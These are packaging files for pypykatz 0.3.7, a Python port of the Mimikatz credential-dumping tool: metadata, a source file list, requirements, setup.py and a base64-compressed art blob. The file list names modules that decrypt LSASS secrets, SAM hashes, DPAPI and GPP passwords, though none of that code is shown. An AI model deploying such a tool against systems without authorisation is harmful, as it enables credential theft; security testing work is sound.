BQ1rcegDFHM2MwV3xzmVY4WMLppfz5u8AaC0RafKNzmjweE4kla/VbD3XhfBYtIFwQo41MFk4zxXgH49wU1Ylg2VdduVznIe7KKSMlDQH/PuEwB6gH6Fos1jYke+HOZEjhN7IZmessIMkHcA7szaTZ8y7Q4ywsid7Yo4EzJnUKePbgGg+0fPlCFUF5LiNhzntAYfKIft2yUowx1A8eeDHmVfdxVZOhY3zBCKS6W/AGR/yW3Qt7My+vUXLK65pIbjVn6R5X6QfezEVkcju/HSH3bn7iNKn7/dRbG7x36fJ7dV8AQNv0gWh0PIbBDkD2xqx8sw7w/O4GaZo1S6R+44QqyG0OoFbmj4G7SWnKUV0oGbCNLMVLG1C9Ef+gQ90iICGqatkvC7jNyyQj0V77rTJS5TQDJ5PYMecd3ropW3XLgm7/XEiL4TP6DkqymtOch4EdKEEW5urovUFoSsyTeOfhzgFpr/xZ5T6Wj3Sz3HTvcaaPcDKhR91uGHZS5+pw5KnMHzVZC+uvZhjAvm/qThsxzcWxqqc/m+WZy5K8PtxBsDcx3IrhQFssao22jTjXlaMwa7Fgu3ytrmBmTzWbaVaAvtKYp2sHXmS1jhnsOQu/cmBSWciZhDSu03Y+u+W2xJjxZGAOMEW/+5KsKMMV+8r5PyUsstfQaru+S327WNHT6HJ2ajl4aTd9wfLDME2h7iDRoHNGDG7JY/BWC/xWc+rXPGmgbn9hBXx8f2YCbk5wgQfARVwsjbh7tZ1z55vzdkudDsManNquE04HNhjAq6s1xHVMnU2ctBjtdH9tgnq0NtLNehYRvdrCGc36wpWjLqRZd7Av10vNG0TGu6efU2zGNivioz7tYWAOKqpr39T8wXg1BO+T3FjQspVDY4MooSofjvocROSEOIhtzm1DPfOpLuC3KP4bpGsUI6c93mev3NKc3ylJIA55KM77ykajoJd3vzKzdLdv86SUyLfVcr90gWGVgApx9c+9/+o+4/GJ9/AGvrqFU='
6
7 def draw(self):
8 return zlib.decompress(base64.b64decode(self.pic_comp)).decode('ascii')
0 Metadata-Version: 1.2
1 Name: pypykatz
2 Version: 0.3.7
3 Summary: Python implementation of Mimikatz
4 Home-page: https://github.com/skelsec/pypykatz
5 Author: Tamas Jos
6 Author-email: [email protected]
7 License: UNKNOWN
8 Description: UNKNOWN
9 Platform: UNKNOWN
10 Classifier: Programming Language :: Python :: 3.6
11 Classifier: License :: OSI Approved :: MIT License
12 Classifier: Operating System :: OS Independent
13 Requires-Python: >=3.6
0 README.md
1 setup.py
2 pypykatz/__init__.py
3 pypykatz/__main__.py
4 pypykatz/_version.py
5 pypykatz/pypykatz.py
6 pypykatz.egg-info/PKG-INFO
7 pypykatz.egg-info/SOURCES.txt
8 pypykatz.egg-info/dependency_links.txt
9 pypykatz.egg-info/entry_points.txt
10 pypykatz.egg-info/requires.txt
11 pypykatz.egg-info/top_level.txt
12 pypykatz.egg-info/zip-safe
13 pypykatz/commons/__init__.py
14 pypykatz/commons/common.py
15 pypykatz/commons/filetime.py
16 pypykatz/commons/kerberosticket.py
17 pypykatz/commons/win_datatypes.py
18 pypykatz/commons/readers/__init__.py
19 pypykatz/commons/readers/local/__init__.py
20 pypykatz/commons/readers/local/live_reader.py
21 pypykatz/commons/readers/local/common/__init__.py
22 pypykatz/commons/readers/local/common/advapi32.py
23 pypykatz/commons/readers/local/common/defines.py
24 pypykatz/commons/readers/local/common/fileinfo.py
25 pypykatz/commons/readers/local/common/kernel32.py
26 pypykatz/commons/readers/local/common/live_reader_ctypes.py
27 pypykatz/commons/readers/local/common/privileges.py
28 pypykatz/commons/readers/local/common/privileges_types.py
29 pypykatz/commons/readers/local/common/psapi.py
30 pypykatz/commons/readers/local/common/version.py
31 pypykatz/commons/readers/local/common/winreg.py
32 pypykatz/commons/readers/registry/__init__.py
33 pypykatz/commons/readers/registry/live/__init__.py
34 pypykatz/commons/readers/registry/live/reader.py
35 pypykatz/commons/readers/rekall/__init__.py
36 pypykatz/commons/readers/rekall/rekallreader.py
37 pypykatz/commons/readers/volatility3/__init__.py
38 pypykatz/commons/readers/volatility3/volreader.py
39 pypykatz/commons/winapi/__init__.py
40 pypykatz/commons/winapi/constants.py
41 pypykatz/commons/winapi/machine.py
42 pypykatz/commons/winapi/processmanipulator.py
43 pypykatz/commons/winapi/local/__init__.py
44 pypykatz/commons/winapi/local/advapi32.py
45 pypykatz/commons/winapi/local/kernel32.py
46 pypykatz/commons/winapi/local/localwindowsapi.py
47 pypykatz/commons/winapi/local/ntdll.py
48 pypykatz/commons/winapi/local/psapi.py
49 pypykatz/commons/winapi/local/sid.py
50 pypykatz/commons/winapi/local/function_defs/__init__.py
51 pypykatz/commons/winapi/local/function_defs/advapi32.py
52 pypykatz/commons/winapi/local/function_defs/defines.py
53 pypykatz/commons/winapi/local/function_defs/fileinfo.py
54 pypykatz/commons/winapi/local/function_defs/kernel32.py
55 pypykatz/commons/winapi/local/function_defs/live_reader_ctypes.py
56 pypykatz/commons/winapi/local/function_defs/netapi32.py
57 pypykatz/commons/winapi/local/function_defs/netapi32_high.py
58 pypykatz/commons/winapi/local/function_defs/ntdll.py
59 pypykatz/commons/winapi/local/function_defs/privileges.py
60 pypykatz/commons/winapi/local/function_defs/privileges_types.py
61 pypykatz/commons/winapi/local/function_defs/psapi.py
62 pypykatz/commons/winapi/local/function_defs/version.py
63 pypykatz/commons/winapi/local/function_defs/winreg.py
64 pypykatz/crypto/RC4.py
65 pypykatz/crypto/__init__.py
66 pypykatz/crypto/des.py
67 pypykatz/crypto/aes/AES.py
68 pypykatz/crypto/aes/__init__.py
69 pypykatz/crypto/aes/blockfeeder.py
70 pypykatz/crypto/aes/util.py
71 pypykatz/crypto/unified/__init__.py
72 pypykatz/crypto/unified/aes.py
73 pypykatz/crypto/unified/common.py
74 pypykatz/crypto/unified/des.py
75 pypykatz/crypto/unified/des3.py
76 pypykatz/crypto/unified/pbkdf2.py
77 pypykatz/crypto/unified/pkcs7.py
78 pypykatz/dpapi/__init__.py
79 pypykatz/dpapi/constants.py
80 pypykatz/dpapi/dpapi.py
81 pypykatz/dpapi/structures/__init__.py
82 pypykatz/dpapi/structures/blob.py
83 pypykatz/dpapi/structures/credentialfile.py
84 pypykatz/dpapi/structures/masterkeyfile.py
85 pypykatz/dpapi/structures/system.py
86 pypykatz/dpapi/structures/vault.py
87 pypykatz/kerberos/__init__.py
88 pypykatz/kerberos/cmdhelper.py
89 pypykatz/ldap/__init__.py
90 pypykatz/ldap/cmdhelper.py
91 pypykatz/lsadecryptor/__init__.py
92 pypykatz/lsadecryptor/cmdhelper.py
93 pypykatz/lsadecryptor/lsa_decryptor.py
94 pypykatz/lsadecryptor/lsa_decryptor_nt5.py
95 pypykatz/lsadecryptor/lsa_decryptor_nt6.py
96 pypykatz/lsadecryptor/lsa_template_nt5.py
97 pypykatz/lsadecryptor/lsa_template_nt6.py
98 pypykatz/lsadecryptor/lsa_templates.py
99 pypykatz/lsadecryptor/package_commons.py
100 pypykatz/lsadecryptor/packages/__init__.py
101 pypykatz/lsadecryptor/packages/credman/__init__.py
102 pypykatz/lsadecryptor/packages/credman/templates.py
103 pypykatz/lsadecryptor/packages/dpapi/__init__.py
104 pypykatz/lsadecryptor/packages/dpapi/decryptor.py
105 pypykatz/lsadecryptor/packages/dpapi/templates.py
106 pypykatz/lsadecryptor/packages/kerberos/__init__.py
107 pypykatz/lsadecryptor/packages/kerberos/decryptor.py
108 pypykatz/lsadecryptor/packages/kerberos/templates.py
109 pypykatz/lsadecryptor/packages/livessp/__init__.py
110 pypykatz/lsadecryptor/packages/livessp/decryptor.py
111 pypykatz/lsadecryptor/packages/livessp/templates.py
112 pypykatz/lsadecryptor/packages/msv/__init__.py
113 pypykatz/lsadecryptor/packages/msv/decryptor.py
114 pypykatz/lsadecryptor/packages/msv/templates.py
115 pypykatz/lsadecryptor/packages/ssp/__init__.py
116 pypykatz/lsadecryptor/packages/ssp/decryptor.py
117 pypykatz/lsadecryptor/packages/ssp/templates.py
118 pypykatz/lsadecryptor/packages/tspkg/__init__.py
119 pypykatz/lsadecryptor/packages/tspkg/decryptor.py
120 pypykatz/lsadecryptor/packages/tspkg/templates.py
121 pypykatz/lsadecryptor/packages/wdigest/__init__.py
122 pypykatz/lsadecryptor/packages/wdigest/decryptor.py
123 pypykatz/lsadecryptor/packages/wdigest/templates.py
124 pypykatz/plugins/__init__.py
125 pypykatz/plugins/pypykatz_rekall.py
126 pypykatz/registry/__init__.py
127 pypykatz/registry/cmdhelper.py
128 pypykatz/registry/live_parser.py
129 pypykatz/registry/offline_parser.py
130 pypykatz/registry/sam/__init__.py
131 pypykatz/registry/sam/common.py
132 pypykatz/registry/sam/sam.py
133 pypykatz/registry/sam/structures.py
134 pypykatz/registry/security/__init__.py
135 pypykatz/registry/security/common.py
136 pypykatz/registry/security/security.py
137 pypykatz/registry/security/structures.py
138 pypykatz/registry/software/__init__.py
139 pypykatz/registry/software/software.py
140 pypykatz/registry/system/__init__.py
141 pypykatz/registry/system/system.py
142 pypykatz/remote/__init__.py
143 pypykatz/remote/cmdhelper.py
144 pypykatz/remote/live/__init__.py
145 pypykatz/remote/live/common/__init__.py
146 pypykatz/remote/live/common/common.py
147 pypykatz/remote/live/localgroup/__init__.py
148 pypykatz/remote/live/localgroup/enumerator.py
149 pypykatz/remote/live/session/__init__.py
150 pypykatz/remote/live/session/enumerator.py
151 pypykatz/remote/live/share/__init__.py
152 pypykatz/remote/live/share/enumerator.py
153 pypykatz/utils/__init__.py
154 pypykatz/utils/crypto/__init__.py
155 pypykatz/utils/crypto/cmdhelper.py
156 pypykatz/utils/crypto/gppassword.py
157 pypykatz/utils/crypto/winhash.py
158 pypykatz/utils/sake/__init__.py
159 pypykatz/utils/sake/sake.py
0 [console_scripts]
1 pypykatz = pypykatz.__main__:main
2
0 minidump>=0.0.12
1 minikerberos>=0.2.0
2 aiowinreg>=0.0.3
3 msldap>=0.2.7
4 winsspi>=0.0.3
0 [egg_info]
1 tag_build =
2 tag_date = 0
3
0 from setuptools import setup, find_packages
1 import re
2
3 VERSIONFILE="pypykatz/_version.py"
4 verstrline = open(VERSIONFILE, "rt").read()
5 VSRE = r"^__version__ = ['\"]([^'\"]*)['\"]"
6 mo = re.search(VSRE, verstrline, re.M)
7 if mo:
8 verstr = mo.group(1)
9 else:
10 raise RuntimeError("Unable to find version string in %s." % (VERSIONFILE,))
11
12 setup(
13 # Application name:
14 name="pypykatz",
15
16 # Version number (initial):
17 version=verstr,
18
19 # Application author details:
20 author="Tamas Jos",
21 author_email="[email protected]",
22
23 # Packages
24 packages=find_packages(),
25
26 # Include additional files into the package
27 include_package_data=True,
28
29
30 # Details
31 url="https://github.com/skelsec/pypykatz",
32
33 zip_safe = True,
34 #
35 # license="LICENSE.txt",
36 description="Python implementation of Mimikatz",
37
38 # long_description=open("README.txt").read(),
39 python_requires='>=3.6',
40 classifiers=(
41 "Programming Language :: Python :: 3.6",
42 "License :: OSI Approved :: MIT License",
43 "Operating System :: OS Independent",
44 ),
45 install_requires=[
46 'minidump>=0.0.12',
47 'minikerberos>=0.2.0',
48 'aiowinreg>=0.0.3',
49 'msldap>=0.2.7',
50 'winsspi>=0.0.3'
51 ],
52
53 entry_points={
54 'console_scripts': [
55 'pypykatz = pypykatz.__main__:main',
56 ],
57 }
58 )